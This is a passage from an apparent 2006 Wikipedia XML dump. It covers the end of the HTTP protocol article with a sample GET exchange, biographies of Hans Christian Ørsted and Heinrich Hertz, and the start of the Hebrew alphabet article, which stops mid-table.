* '''TRACE''' &amp;ndash; Echoes back the received request, so that a client can see what intermediate servers are adding or changing in the request.
* '''OPTIONS''' &amp;ndash; Returns the HTTP methods that the server supports. This can be used to check the functionality of a web server.
* '''CONNECT''' &amp;ndash; For use with a proxy that can change to being an [[Secure Sockets Layer|SSL]] tunnel.

Methods GET and HEAD are defined as ''safe'', i.e. intended only for information retrieval. Unsafe methods (such as POST, PUT and DELETE) should be displayed to the user in a special way (e.g. as buttons rather than links), making the user aware of possible side effect of their actions (e.g. financial transaction).

Methods GET, HEAD, PUT and DELETE are defined to be [[Idempotence (computer science)|idempotent]], meaning that multiple identical requests should have the same effect as a single request.  Also, the methods OPTIONS and TRACE should not have side effects, and so are inherently idempotent.

Despite the specified idempotence of GET requests, in practice, GET requests are often used to pass [[HTML]] form values or other data to an HTTP server. These requests can cause changes on the server, through [[CGI]] execution, which may result in different effects for successive identical requests. For example, an HTML page may use a link to cause the deletion of a [[database]] record; merely GET-ing a particular [[URL]] on a server will cause the CGI application on the server to delete a record, thus causing a change of the server's state and possibly making identical following requests to this URL to fail, on account of the database record already being deleted.  This behavior is technically discouraged (non-idempotent actions should ideally be initiated by a '''POST''' request) but is very common on the modern World Wide Web.  Such behavior can cause problems because various schemes for caching web pages, such as [[search engines]], which by design GET pages before a user initiates a request, can cause unintentional changes on a server.

HTTP servers are supposed to implement at least GET and HEAD methods and, whenever possible, also OPTIONS method.

==HTTP versions==
HTTP differs from other TCP-based protocols such as [[File Transfer Protocol|FTP]], because HTTP has different protocol versions:
* '''0.9''' Deprecated.  Was never widely used.  Only supports one command, GET.  Does not support headers.  Since this version does not support POST the client can't pass much information to the server.  
* '''HTTP/1.0''' Still in wide use, especially by proxy servers. Allows persistent connections (alias keep-alive connections, more than one request-response per TCP/IP connection) when explicitly negotiated; however, this only works well when not using proxy servers.
* '''HTTP/1.1''' Current version; persistent connections enabled by default and works well with proxies. Also supports request pipelining, allowing multiple requests to be sent at the same time, allowing the server to prepare for the workload and potentially transfer the requested resources more quickly to the client.

==Status codes==
In HTTP/1.0 and since, the first line of the HTTP response is called the ''status line'' and includes a numeric ''status code'' (such as &quot;200&quot;) and a textual ''reason phrase'' (such as &quot;OK&quot;). The way the [[user agent]] handles the response primarily depends on the code and secondarily on the response headers. Custom status codes can be used since if the user agent encounters a code it does not recognize, it can use the first digit of the code to determine the general class of the response. [http://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html#sec6.1]

Also, the standard reason phrases are only recommendations and can be replaced with &quot;local equivalents&quot; at [[web developer]]'s discretion. If the status code indicated a problem, the user agent might display the reason phrase to the user to provide further information about the nature of the problem. The standard also allows the user agent to attempt to interpret the reason phrase, though this might be unwise since the standard explicitly specifies that status codes are machine-readable and reason phrases are human-readable.

In practice, the reason phrase is unlikely to reach the user and is never interpreted. All modern [[web browser]]s rely on the status code to determine the handling and the response body to inform the user. However, the reason phrase may be logged and thus custom reason phrases might help in [[debugging]].

See [[list of HTTP status codes]] for a list of all widely known status codes and associated standard reason phrases.

==HTTP connection persistence==
In HTTP/0.9 and HTTP/1.0, a client sends a request to the server, the server sends a response back to the client. After this, the connection is closed. HTTP/1.1, however, supports persistent connections. This enables the client to send a request and get a response, and then send additional requests and get additional responses. The TCP connection is not released for the multiple additional requests, so the relative overhead due to TCP is much less per request. The use of persistent connection is often called ''keep alive''. It is also possible to send more than one (usually between two and five) request before getting responses from previous requests. This is called ''[[HTTP pipelining|pipelining]]''.

There is a HTTP/1.0 extension for connection persistence, but its utility is limited due to HTTP/1.0's lack of unambiguous rules for delimiting messages. This extension uses a header called &lt;code&gt;Keep-Alive&lt;/code&gt;, while the HTTP/1.1 connection persistence uses the &lt;code&gt;Connection&lt;/code&gt; header. Therefore a HTTP/1.1 may choose to support either just HTTP/1.1 connection persistence, or both HTTP/1.0 and HTTP/1.1 connection persistence. Some HTTP/1.1 clients and servers do not implement connection persistence or have it disabled in their configuration.

==HTTP connection closing==
Both HTTP servers and clients are allowed to close TCP/IP connections at any time (i.e. depending on their settings, their load, etc.).  This feature makes HTTP ideal for the World Wide Web, where pages regularly link to many other pages on the same server or to external servers. 

Closing an HTTP/1.1 connection can be a much longer operation (from 200 milliseconds up to several seconds) than closing an HTTP/1.0 connection, because the first usually needs a '''linger''' close while the second can be immediately closed as soon as the entire first request has been read and the full response has been sent.

==HTTP session state==
HTTP can occasionally pose problems for Web developers (Web Applications), because HTTP is [[stateless server|stateless]] (i.e. it does not keep session information) so this &quot;feature&quot; forces the use of alternative methods for maintaining users' &quot;state&quot;.  Many of these methods involve the use of [[HTTP cookie|cookies]].

==Secure HTTP==
{{main|https: URI scheme}}
&lt;tt&gt;https:&lt;/tt&gt; is a URI scheme syntactically identical to the &lt;tt&gt;http:&lt;/tt&gt; scheme used for normal HTTP connections, but which signals the browser to use an added encryption layer of [[Transport Layer Security|SSL/TLS]] to protect the traffic. SSL is especially suited for HTTP since it can provide some protection even if only one side to the communication is authenticated. In the case of HTTP transactions over the Internet, typically only the server side is authenticated.
==Sample==
Below is a sample conversation between an HTTP client and an HTTP server running on www.example.com, [[port 80]].

'''Client request''' (followed by a blank line, so that request ends with a double [[newline]], each in the form of a [[carriage return]] followed by a [[line feed]].):
&lt;pre&gt;
GET /index.html HTTP/1.1
Host: www.example.com

&lt;/pre&gt;

The &quot;Host&quot; header distinguishes between various [[Domain Name System|DNS]] names sharing a single [[IP address]], allowing name-based [[Virtual hosting|virtual hosting]]. While optional in HTTP/1.0, it is mandatory in HTTP/1.1.

'''Server response''' (followed by a blank line and text of the requested page):
&lt;pre&gt;
HTTP/1.1 200 OK
Date: Mon, 23&amp;nbsp;May 2005&amp;nbsp;22:38:34 GMT
Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
Etag: &quot;3f80f-1b6-3e1cb03b&quot;
Accept-Ranges: bytes
Content-Length: 438
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;/pre&gt;

==See also==
* [[404 error]]
* [[Uniform resource locator]]
* [[Basic authentication scheme]]
* [[Digest access authentication]]
* [[Captive portal]]
* [[HTTP proxy]]
* [[Content negotiation]]
* [[WebDAV]]

==External links==

===Specifications and references===
* HTTP/1.0 specification (May 1996) as plain text: RFC 1945
* HTTP/1.1 specification (June 1999) as plain text: RFC 2616; also [http://www.w3.org/Protocols/rfc2616/rfc2616.html as HTML], [ftp://ftp.isi.edu/in-notes/rfc2616.ps as PostScript], and [http://www.w3.org/Protocols/HTTP/1.1/rfc2616.pdf as PDF];
* [http://purl.org/NET/http-errata HTTP/1.1 specification errata]
* [[Tim Berners-Lee]]'s [http://www.w3.org/Protocols/HTTP/HTTP2.html original 1992 Internet-Draft]
* [http://www.eventhelix.com/RealtimeMantra/Networking/http_sequence_diagram.pdf HTTP Sequence Diagram] (PDF)

===Tutorials and tools===
* [http://www.jmarshall.com/easy/http/ HTTP Made Really Easy]
* [http://analyze.forret.com HTTP header viewer]
* [http://www.webconfs.com/http-header-check.php HTTP Header Check - Bookmarklet]
* [http://web-sniffer.net/ View HTTP Request and Response Header]
* Command-line HTTP clients: [http://curl.haxx.se/ cURL], [http://www.gnu.org/software/wget/wget.html Wget], [http://www.xach.com/snarf/ Snarf], [http://www.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/fetch/ fetch]
* [http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf HTTP Request Smuggling] (PDF) (registration required)
* [http://www.http-compression.com HTTP compression]
* [http://livehttpheaders.mozdev.org/ Live HTTP Headers Extension for Firefox]


[[Category:Internet protocols]]
[[Category:Internet standards]]
[[Category:HTTP]]

[[ar:HTTP]]
[[ca:Protocol de transferència d'hipertext]]
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[[th:HyperText Transfer Protocol]]
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[[zh:超文本传输协议]]</text>
    </revision>
  </page>
  <page>
    <title>Hans Christian Ørsted</title>
    <id>13444</id>
    <revision>
      <id>41516829</id>
      <timestamp>2006-02-27T22:07:26Z</timestamp>
      <contributor>
        <ip>66.37.60.216</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Biography |
 subject_name=Hans Christian Ørsted|
 image_name=Ørsted.jpg|
 image_caption=[[Denmark|Danish]] [[physicist]] &amp; [[chemist]] |
 quotation=unknown|
 date_of_birth=[[August 14]], [[1777]] |
 place_of_birth=
[[Rudkøbing]], [[Denmark]]|
  dead=dead |
 date_of_death=[[March 9]], [[1851]] |
 place_of_death=[[Copenhagen]], [[Denmark]]}}

'''Hans Christian Ørsted''' ([[August 14]],[[1777]] &amp;ndash; [[March 9]],[[1851]]) was a [[Denmark|Danish]] [[physicist]] and [[chemist]], influenced by the thinking of [[Immanuel Kant]].  He is best known for discovering the relationship between [[electricity]] and [[magnetism]] known as [[electromagnetism]].

==Early days ==
Hans Christian Ørsted was the son of Søren Christian Ørsted and Karen Hermandsen. His father was a [[pharmacist]] of [[Rudkøbing]] on the island of [[Langeland]]. Hans with his brother, Anders Sandøe Ørsted ([[1778]]-[[1860]]), later professor of [[jurisprudence]] and [[politician]], received privately and by self-study an [[primary education|education]] which enabled them to travel in [[1793]] to [[Copenhagen]] and there, the next year, pass the university entrance examination, to which they had submitted themselves.

Both brothers early showed signs of exceptional gifts and set themselves great aims for their future. Hans's interest in [[natural science]] was early aroused by working in his father's [[pharmacy]], and so it was natural that he should train for pharmacy, as there were no possibilities of studying physics and chemistry at [[Copenhagen University]] then; it was he who afterwards provided them. As early as [[1797]], he passed the pharmaceutical examination with distinction, and already in [[1796]] and 1797 succeeded in doing the prize papers (about treatise on [[amniotic fluid]]) in both aesthetics and [[medicine]], in each case winning the prize. Two years later he was awarded a doctorate for a dissertation on Kant's philosophy.

In 1801, he received a travel scholarship and public grant that enabled him to spend three years traveling in [[Europe]].  While in [[Germany]], he met [[Johann Ritter]], a physicist who believed there was a connection between electricity and magnetism.  The connection made sense to Ørsted since he believed in the unity of nature and that a relationship therefore must exist between most natural phenomena.

Returning home, in 1806, Ørsted became a professor at the University of Copenhagen, where his first physical researches dealt with electric currents and acoustics. He was the actual founder of physical studies at Copenhagen University. Considerable university activity was developed from his work, leading finally to thorough and systematic teaching of physics and chemistry, together with the establishment of relatively good laboratory conditions. 

In the years 1812 and 1813 Ørsted went on his second major foreign journey to Germany, Belgium and France. Although still under the influence of the speculative philosophy of nature, he admitted that he had meanwhile moved away from its views and that it was not possible for him to achieve a profitable exchange of ideas between himself and Fichte and Schleiermacher. 

Back home, he married Birgitte Ballum, with whom he lived a harmonious and very happy married life, having five daughters and three sons. 

From 1815 to his death he was Secretary to the Royal Danish Academy of Sciences and Letters.

== Discovery of electromagnetism ==
While preparing for an evening lecture in April [[1820]], Oersted developed an [[experiment]] which provided evidence that surprised him.  As he was setting up his materials, he noticed a compass needle deflected from magnetic north when the electric current from the battery he was using was switched on and off.  This deflection convinced him that magnetic fields radiate from all sides of a live wire just as light and heat do, and that it confirmed a direct relationship between electricity and magnetism.

At the time of discovery, Oersted did not suggest any satisfactory explanation of the phenomenon, nor did he try to represent the phenomenon in a mathematical framework.  However, three months later he began more intensive investigations.  Soon thereafter he published his findings, proving that an electric current produces a magnetic field as it flows through a wire.  The [[CGS]] [[unit]] of [[magnetic induction]] ([[oersted]]) is named in honor of his contributions to the field of electromagnetism.

His findings resulted in intensive research throughout the scientific community in electrodynamics.  They influenced French physicist [[André-Marie Ampère]]'s developments of a single mathematical form to represent the magnetic forces between current-carrying conductors.  Ørsted's discovery also represented a major step toward a unified concept of energy.

Oersted was not the first person to discover that electricity and magnetism are related. He was preceded in this discovery by 18 years by [[Gian Domenico Romagnosi]], an Italian legal scholar. An account of Romagnosi's discovery was published in [[1802]] in an Italian newspaper, but it was overlooked by the scientific community.

In [[1825]], Oersted made a significant contribution to [[chemistry]] by producing [[aluminium]] artificially for the first time.

== Society ==
He appreciated the need to spread knowledge of scientific advance, and in 1824 created the still extremely active &quot;Society for the Dissemination of Natural Science&quot; - a society devoted to the spread of scientific knowledge among the general public. Since 1908 this society has awarded an [[Oersted Medal]] for outstanding contributions by Danish physical scientists. It was on his initiative in 1829 that the Polytechnical Institute in Copenhagen, now the [[Technical University of Denmark]], was established, where engineering received a scientific foundation. He became the first director of this Institute.

Apart from these accomplishments, Ørsted wrote poetry and prose. Shortly before his death, he published a series of collected articles under the title &quot;The Soul in Nature&quot;, a masterpiece expressing the essence of his philosophy of life. Finally, there remains to be mentioned Ørsted's great interest in the Danish language, to which he contributed a number of innovations, such as the words &quot;brint&quot; and &quot;ilt&quot;, for hydrogen and oxygen.
orange juice
Hans Christian Ørsted is one of the most luminous figures in the intellectual life of Denmark. He had lasting influence on many aspects of Danish culture and society. Thus he was one of the first to appreciate and encourage [[Hans Christian Andersen]] when this great Danish writer found the fairy tale as his proper genre. By nature he was a kind and exceedingly helpful man, who was a great inspiration to his associates; but although his dealings were always marked by a high degree of consideration he could in crucial situations display great firmness and resolution, never hesitating to advance radical views and opinions. He is one of those figures in Danish history who appear in so noble a cast that the picture of him and his work comes to seem almost too undifferentiated.

On his passing in 1851, Hans Christian Ørsted was interred in the [[Assistens Cemetery|Assistens Kirkegård]] in the [[Nørrebro]] section of Copenhagen.

==See also==
*[[James Clerk Maxwell]]
*[[physics]]

[[Category:1777 births|Ørsted, Hans Christian]]
[[Category:1851 deaths|Ørsted, Hans Christian]]
[[Category:Danish chemists|Ørsted, Hans Christian]]
[[Category:Danish physicists|Ørsted, Hans Christian]]
[[Category:Discoverers of chemical elements|Ørsted, Hans Christian]]

{{chemist-stub}}
{{physicist-stub}}

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[[sv:Hans Christian Ørsted]]</text>
    </revision>
  </page>
  <page>
    <title>Heinrich Rudolf Hertz</title>
    <id>13445</id>
    <revision>
      <id>40364273</id>
      <timestamp>2006-02-20T01:57:16Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Heinrich Rudolf Hertz.jpg|thumb|250px|Heinrich Hertz]]
'''Heinrich Rudolf Hertz''' ([[February 22]], [[1857]] - [[January 1]], [[1894]]), was the German physicist for whom the [[hertz]], the [[SI]] unit of [[frequency]], is named. In [[1888]], he was the first to demonstrate the existence of [[electromagnetic radiation]] by building apparatus to produce [[radio]] waves. 

Hertz was born in [[Hamburg]], [[Germany]], to a [[Jew]]ish family that had converted to [[Christianity]]. His father was an advisor in [[Hamburg]], his mother the daughter of a doctor. While going to school at the University of Berlin, he showed an aptitude for sciences as well as languages, learning [[Arabic language|Arabic]] and [[Sanskrit]]. He studied sciences and engineering in the German cities of [[Dresden]], [[Munich]] and [[Berlin]]. He was a student of [[Gustav R. Kirchhoff]] and [[Hermann von Helmholtz]]. He obtained his PhD in [[1880]], and remained a pupil of Helmholtz until 1883 when he took a post as a lecturer in theoretical physics at the [[University of Kiel]]. In 1885 he became a full professor at the [[University of Karlsruhe]] where he discovered electromagnetic waves.

[[Image:Autograph of Heinrich Hertz.png|left|thumb|200px|Hertz's autograph]]
Following [[Albert Abraham Michelson|Michelson's]] [[1881]] experiment (precursor to the [[1887]] [[Michelson-Morley experiment]]) which disproved the existence of [[luminiferous aether]], he reformulated [[Maxwell's equations]] to take the new discovery into account.  Through experimentation, he proved that electric signals can travel through open air, as had been predicted by [[James Clerk Maxwell]] and [[Michael Faraday]], and which is the basis for the invention of [[radio]].  He also discovered the [[photoelectric effect]] (which was later explained by [[Albert Einstein]]) when he noticed that a [[electric charge|charged]] object loses its charge more readily when illuminated by ultraviolet light.

He died of blood poisoning at the age of 37 in [[Bonn]], Germany.

His nephew [[Gustav Ludwig Hertz]] was a [[Nobel Prize]] winner, and Gustav's son [[Carl Hellmuth Hertz]] invented [[medical ultrasonography]].

==See also== 

{| style=&quot;text-align: left; width: 75%;&quot; border=&quot;0&quot; cellspacing=&quot;2&quot; cellpadding=&quot;2&quot;
| style=&quot;vertical-align: top;&quot; |  
''People'' 
* [[Hans Christian Ørsted]] 
* [[Guglielmo Marconi]] 
* [[Gustav Ludwig Hertz]] 
* [[Hermann von Helmholtz]] 
* [[James Clerk Maxwell]] 
* [[Nikola Tesla]] 
* [[Wilhelm Röntgen]] 

''Lists and histories'' 
* [[Timeline of electromagnetism and classical optics|Electromagnetism timeline]] 
* [[Timeline of quantum mechanics, molecular physics, atomic physics, nuclear physics, and particle physics|Timeline of mechanics and physics]] 
* [[List of physicists]] 
* [[History of radio|Radio history]] 
* [[Wireless telegraphy]] 
* [[List of people on stamps of Germany]] 
* [[List of physics topics]]  

| style=&quot;vertical-align: top;&quot; | &lt;br&gt;
| style=&quot;vertical-align: top;&quot; |  

''[[Electromagnetic radiation]]'' 
* [[Frequency]] 
** [[Hertz]] 
* [[Microwave]] 
* [[X-ray]] 
* [[Photoelectric effect]] 
* [[Radar]] 
* [[Luminiferous aether]] 

''Other'' 
* [[University of Bonn]] 
* [[University of Karlsruhe]] 
* [[Radio]] 
* [[Dipole antenna]]

|}

==External links==
*[http://chem.ch.huji.ac.il/~eugeniik/history/hertz.htm Short biography]

[[Category:1857 births|Hertz, Heinrich Rudolf]]
[[Category:1894 deaths|Hertz, Heinrich Rudolf]]
[[Category:German physicists|Hertz, Heinrich]]
[[Category:Telecommunications history]]

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[[ko:하인리히 루돌프 헤르츠]]
[[hr:Heinrich Rudolf Hertz]]
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[[id:Heinrich Rudolf Hertz]]
[[it:Heinrich Rudolf Hertz]]
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[[ka:ჰერცი, ჰაინრიხ რუდოლფ]]
[[nl:Heinrich Hertz]]
[[ja:ハインリヒ・ヘルツ]]
[[no:Heinrich Rudolf Hertz]]
[[pl:Heinrich Hertz]]
[[pt:Heinrich Rudolf Hertz]]
[[ru:Герц, Генрих Рудольф]]
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[[sv:Heinrich Hertz]]
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[[uk:Герц Генріх]]
[[zh:海因里希·鲁道夫·赫兹]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew alphabet</title>
    <id>13446</id>
    <revision>
      <id>41434338</id>
      <timestamp>2006-02-27T07:45:14Z</timestamp>
      <contributor>
        <username>Yossarian</username>
        <id>65633</id>
      </contributor>
      <minor />
      <comment>em-dash</comment>
      <text xml:space="preserve">{{SpecialCharsNote}}

:''This article is mainly about Hebrew letters.  For Hebrew diacritical marks, see [[niqqud]] (for the vowel points) and [[cantillation]].''

{{alphabet}}
{{Hebrew alphabet}}

The '''Hebrew [[alphabet]]''' is a set of 22 letters used for writing the [[Hebrew language]].  It has also been used in mildly adapted forms for writing several languages of the Jewish diaspora, most famously [[Yiddish language|Yiddish]], [[Ladino language|Ladino]], and [[Judaeo-Arabic languages|Judaeo-Arabic]] (for a full and detailed list, see [[Jewish languages]]). Hebrew is written from right to left.

The Hebrew word for &quot;alphabet&quot; is אלף-בית (''alef-bet''), named after the first two letters of the Hebrew alphabet. The Hebrew alphabet was in origin an [[abjad]], in other words it had letters for [[consonant]]s only, but means were later devised to indicate vowels, first by using consonant letters as [[matres lectionis]], later by separate vowel points or [[nikud]].

The number of letters in the Hebrew alphabet, their order, their names, and their phonetic values are virtually identical to those of the [[Aramaic alphabet]], as both [[Hebrews]] and [[Arameans]] borrowed the [[Phoenician alphabet]] for their uses during the end of the [[2nd millennium BC]].

The modern ''script'' used for writing Hebrew (usually called the '''Jewish script''' by scholars, and also traditionally known as the '''square script''', or the '''Assyrian script'''—not to be confused with the Eastern variant of the [[Syriac alphabet]]), evolved during the [[3rd century BC]] from the [[Aramaic script]], which was used by [[Jew|Jews]] for writing Hebrew since the [[6th century BC]]. Prior to that, Hebrew was written using the old '''Hebrew script''', which evolved during the [[9th century BC]] from the Phoenician script; the [[Samaritan|Samaritans]] still write Hebrew in a variant of this script for religious works (see [[Samaritan alphabet]]).

==Roots of the Hebrew Alphabet==
The Hebrew alphabet has been developed in the same way as the [[Phoenician alphabet]] has. Each letter originally represented some picture and has developed into the modern rectangular alphabet:

*א aleph - &quot;ox&quot;
*ב bet - &quot;house&quot;
*ג gimel - &quot;camel&quot;
*ד dalet - &quot;fish&quot; or &quot;door&quot;
*ה heh - &quot;jubilation&quot; or &quot;window&quot;
*ו vav - &quot;hook&quot;
*ז zayin - &quot;manacle&quot; or &quot;weapon&quot;
*ח {{ArabDIN|ḥ}}et - &quot;enclosure&quot; or &quot;fence&quot;
*ט {{ArabDIN|ṭ}}et - &quot;snake&quot;
*י yad - &quot;arm&quot; or &quot;hand&quot;
*כ kaf - &quot;hand&quot; or &quot;palm&quot;
*ל lamed - &quot;goad&quot;
*מ mem - &quot;water&quot;
*נ nun - &quot;fish&quot;
*ס samech - &quot;prop&quot;
*ע 'ayin - &quot;eye&quot;
*פ peh - &quot;mouth&quot;
*צ tsadee - &quot;plant&quot;
*ק kaph - &quot;monkey&quot; or &quot;back of the head&quot;
*ר reš - &quot;head&quot;
*ש šin - &quot;tooth&quot;
*ת tav - &quot;signature&quot;

==Short table==
[[Image:Hebrewblockandscript.png|thumb|The Hebrew alphabet, in print and handwriting.]]
The Hebrew alphabet consists of the following letters. Some letters have a different form used at the ends of words: these are shown in the table below the normal form.
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot; style=&quot;text-align:center;&quot; class=&quot;wikitable&quot;
|-
|'''[[Aleph (Hebrew)|Alef]]'''||'''[[Beth (letter)|Bet/Vet]]'''||'''[[Gimel (letter)|Gimel]]'''||'''[[Daleth|Dalet]]'''||'''[[He (letter)|He]]'''||'''[[Waw (letter)|Vav]]'''||'''[[Zayin]]'''||'''[[Heth (letter)|Het]]'''||'''[[Teth|Tet]]'''||'''[[Yodh|Yod]]'''||'''[[Kaph|Kaf/Chaf]]'''
|- 
|style=&quot;font-size:300%&quot; height=40 valign=top| א 
&lt;span style=&quot;font-family: serif&quot;&gt; א &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ב 
&lt;span style=&quot;font-family: serif&quot;&gt; ב &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ג 
&lt;span style=&quot;font-family: serif&quot;&gt; ג &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ד 
&lt;span style=&quot;font-family: serif&quot;&gt; ד &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ה 
&lt;span style=&quot;font-family: serif&quot;&gt; ה &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ו 
&lt;span style=&quot;font-family: serif&quot;&gt; ו &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ז 
&lt;span style=&quot;font-family: serif&quot;&gt; ז &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ח 
&lt;span style=&quot;font-family: serif&quot;&gt; ח &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ט 
&lt;span style=&quot;font-family: serif&quot;&gt; ט &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| י 
&lt;span style=&quot;font-family: serif&quot;&gt; י &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| כ 
&lt;span style=&quot;font-family: serif&quot;&gt; כ &lt;/span&gt;
|-
| ||||||||||||||||||||style=&quot;font-size:300%&quot; height=40 valign=top|ך
&lt;span style=&quot;font-family: serif&quot;&gt; ך &lt;/span&gt;
|-
|'''[[Lamedh|Lamed]]'''||'''[[Mem]]'''||'''[[Nun (letter)|Nun]]'''||'''[[Samekh]]'''||'''[[Ayin]]'''||'''[[Pe (letter)|Pe/Fe]]'''||'''[[Tsade|Tsadi]]'''||'''[[Qoph|Qof]]'''||'''[[Resh]]'''||'''[[Shin (letter)|Shin/Sin]]'''||'''[[Taw (letter)|Tav]]'''
|-
|style=&quot;font-size:300%&quot; height=40 valign=top| ל 
&lt;span style=&quot;font-family: serif&quot;&gt; ל &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| מ 
&lt;span style=&quot;font-family: serif&quot;&gt; מ &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| נ 
&lt;span style=&quot;font-family: serif&quot;&gt; נ &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ס 
&lt;span style=&quot;font-family: serif&quot;&gt; ס &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ע 
&lt;span style=&quot;font-family: serif&quot;&gt; ע &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| פ 
&lt;span style=&quot;font-family: serif&quot;&gt; פ &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| צ 
&lt;span style=&quot;font-family: serif&quot;&gt; צ &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ק 
&lt;span style=&quot;font-family: serif&quot;&gt; ק &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ר 
&lt;span style=&quot;font-family: serif&quot;&gt; ר &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ש 
&lt;span style=&quot;font-family: serif&quot;&gt; ש &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ת 
&lt;span style=&quot;font-family: serif&quot;&gt; ת &lt;/span&gt;
|-

| ||style=&quot;font-size:300%&quot; height=40 valign=top| ם 
&lt;span style=&quot;font-family: serif&quot;&gt; ם &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ן 
&lt;span style=&quot;font-family: serif&quot;&gt; ן &lt;/span&gt;
|||||style=&quot;font-size:300%&quot; height=40 valign=top| ף 
&lt;span style=&quot;font-family: serif&quot;&gt; ף &lt;/span&gt;
|style=&quot;font-size:300%&quot; height=40 valign=top| ץ 
&lt;span style=&quot;font-family: serif&quot;&gt; ץ &lt;/span&gt;
|||||style=&quot;font-size:300%&quot; height=40 valign=top| 
|}

==Description==

Both the old Hebrew script and the modern Hebrew script have only one [[Case (orthography)|case]], but in the modern script some letters have special [[final form|final forms]] used only at the end of a word.  This is similar to the [[Arabic alphabet]], although much simpler.  The Hebrew alphabet is an [[abjad]]: [[vowel|vowels]] are normally not indicated. Where they are it is because a weak [[consonant]] such as א ''alef'', ה he, ו ''vav'', or י ''yod'' has combined with a previous vowel and become silent or by imitation of such cases in spelling of other forms.

To preserve the proper vowel sounds, scholars developed several different sets of [[diacritic]] symbols called ''[[nikud]]'' (ניקוד; literally: &quot;applying points&quot;). One of these, the Tiberian system, eventually prevailed. [[Aaron ben Moses ben Asher]], and his family for several generations, are credited for refining and maintaining the system. These points are normally used only for special purposes, such as [[Bible|Biblical]] books intended for study, in [[poetry]], or when teaching the language to children. The Tiberian system also includes a set of [[cantillation]] marks used to indicate how scriptural passages should be chanted, used in synagogue recitations of scripture (although these marks do not appear in the scrolls).

Hebrew letters may also be used as [[number|numbers]]; see the entry on [[Hebrew numerals]]. This use of letters as numbers is used in [[Kabbalah]] ([[Judaism|Jewish]] [[mysticism]]) in a practice known as [[gematria]].

==Main table==

The following table is a breakdown of each letter in the Hebrew alphabet, describing its written [[glyph]] or glyphs, its name or names, its [[Latin script]] [[transliteration]] values used in academic work, and its [[pronunciation]] in reconstructed historical forms and [[dialect|dialects]] using the [[International Phonetic Alphabet]].  If two glyphs are shown for a letter, then the left-most glyph is the Final form of the letter (or right-most glyph if your browser doesn't support right-to-left text layout).

===Name and transliteration===

{|class=&quot;wikitable&quot;
|-
! rowspan=3 | Symbol 
!! colspan=6 | Name 
!! colspan=4 | Transliteration 
|-
!  colspan=3 | Academic !! rowspan=2 | Uni-&lt;br&gt;code Stan-&lt;br&gt;dard !! rowspan=2 | [[Israeli Hebrew|Israeli]] 
!! rowspan=2 | Ash-&lt;br&gt;kenazi 
!! colspan=3 |Academic !! rowspan=2 | Israeli 
|-
! [[Unicode|Uni-&lt;br&gt;code]] !! [[Typeface|Font]]-friendly !! [[ISO-8859-1]]-friendly !! Uni-&lt;br&gt;code!! Font-friendly!! ISO-8859-1-friendly
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|א
|| {{unicode|ʾā́lep̄}} || ’āleph || 'àleph
|| alef || alef || alef
|| {{unicode|ʾ}} || ’ || ' 
|| ' (1)
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ב
|| {{unicode|bêṯ, ḇêṯ}} || bêth, bhêth || bêth, bhêth
|| bet || bet, vet || beis, veis
|| {{unicode|b, ḇ}} || b, bh || b, bh 
|| b, v
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ג
|| {{unicode|gímmel, ḡímel}} || gímel, ghímel || gímel, ghímel
|| gimel || gimel || gimmel
|| {{unicode|g, ḡ}} || g, gh || g, gh 
|| g
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ד 
| {{unicode|dā́leṯ, ḏā́leṯ}} || dāleth, dhāleth || dàleth, dhàleth
|| dalet || dalet || doles
|| {{unicode|d, ḏ}} || d, dh || d, dh 
|| d 
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ה
|| ? || hê || hê
|| he || he, hei, e, ei || hei
|| {{unicode|h, Ḏ}} || ? || ? 
|| h (2)
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ו
|| {{unicode|wāw}} || wāw || wàw
|| vav || vav || vov, vof
|| ? || w || w 
|| v 
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ז
|| ? || záyin || záyin 
|| zayin || zayin || zayin
||? || z || z 
|| ?
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ח
|| {{unicode|ḥêṯ, (3) ḫêṯ}} || ħêth, (3) xêth || h`êth, (3) xêth
|| het || chet || ches
|| {{unicode|ḥ, (3) ḫ}} || ħ, (3) x || h`, (3) x
